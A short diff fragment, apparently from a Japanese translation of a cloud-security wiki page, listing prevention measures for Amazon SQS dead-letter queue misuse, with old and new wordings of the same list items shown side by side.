|
||||
### 対策
|
||||
### 予防策
|
||||
1. **最小権限**: 必要なロールにのみ `sqs:StartMessageMoveTask` 権限を制限する
|
||||
2. **DLQsの監視**: 異常なDLQアクティビティに対して CloudWatch アラームを設定する
|
||||
3. **クロスアカウントポリシー**: クロスアカウントアクセスを許可する SQS キューポリシーを注意深くレビューする
|
||||
4. **DLQsの暗号化**: 制限されたキー ポリシーを持つ SSE-KMS を使用する
|
||||
5. **定期的なクリーンアップ**: 機密データが DLQs に無期限に蓄積されないようにする
|
||||
2. **DLQs の監視**: 異常な DLQ アクティビティに対して CloudWatch アラームを設定する
|
||||
3. **クロスアカウントポリシー**: クロスアカウントアクセスを許可する SQS キューのポリシーを注意深く確認する
|
||||
4. **DLQs の暗号化**: 制限されたキー ポリシーを用いた SSE-KMS を使用する
|
||||
5. **定期的なクリーンアップ**: 機密データが DLQs に無期限に蓄積しないようにする
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user